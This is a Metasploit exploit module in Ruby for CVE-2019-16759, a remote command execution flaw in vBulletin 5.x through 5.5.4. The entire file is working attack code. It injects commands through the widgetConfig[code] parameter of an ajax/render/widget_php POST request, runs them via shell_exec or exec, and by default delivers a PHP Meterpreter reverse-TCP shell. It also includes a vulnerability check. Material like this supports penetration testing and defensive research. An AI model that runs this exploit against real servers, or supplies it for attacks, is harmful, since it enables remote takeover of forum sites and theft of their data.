## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'vBulletin widgetConfig RCE', 'Description' => %q{ vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code] parameter in an ajax/render/widget_php routestring POST request. }, 'Author' => [ 'unknown', # discovered by an unknown sender. 'mekhalleh (RAMELLA Sébastien)' # this module. ], 'References' => [ ['CVE', '2019-16759'], ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'], ['URL', 'https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html'] ], 'DisclosureDate' => '2019-09-23', 'License' => MSF_LICENSE, 'Platform' => ['php', 'unix', 'windows'], 'Arch' => [ARCH_CMD, ARCH_PHP], 'Privileged' => true, 'Targets' => [ ['Meterpreter (PHP In-Memory)', 'Platform' => 'php', 'Arch' => [ARCH_PHP], 'Type' => :php_memory, 'Payload' => { 'BadChars' => "\x22", }, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'DisablePayloadHandler' => 'false' } ], ['Unix (CMD In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic', 'DisablePayloadHandler' => 'true' } ], ['Windows (CMD In-Memory)', 'Platform' => 'windows', 'Arch' => ARCH_CMD, 'Type' => :windows_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic', 'DisablePayloadHandler' => 'true' } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } )) register_options([ OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']), OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']]) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) end def cmd_payload(command) return("echo #{datastore['PHP_CMD']}('#{command}'); exit;") end def execute_command(command) response = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'encode_params' => true, 'vars_post' => { 'routestring' => 'ajax/render/widget_php', 'widgetConfig[code]' => command } }) if (response) && (response.body) return response end return false end def check rand_str = Rex::Text.rand_text_alpha(8) received = execute_command(cmd_payload("echo #{rand_str}")) if received && received.body.include?(rand_str) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit unless check.eql? Exploit::CheckCode::Vulnerable unless datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'The target is not exploitable.') end end vprint_good("The target appears to be vulnerable.") print_status("Sending #{datastore['PAYLOAD']} command payload") case target['Type'] when :unix_cmd, :windows_cmd cmd = cmd_payload(payload.encoded) vprint_status("Generated command payload: #{cmd}") received = execute_command(cmd) if (received) && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic") print_warning('Dumping command output in body response') if received.body.empty? print_error('Empty response, no command output') return end print_line("#{received.body}") end when :php_memory vprint_status("Generated command payload: #{payload.encoded}") execute_command(payload.encoded) end end end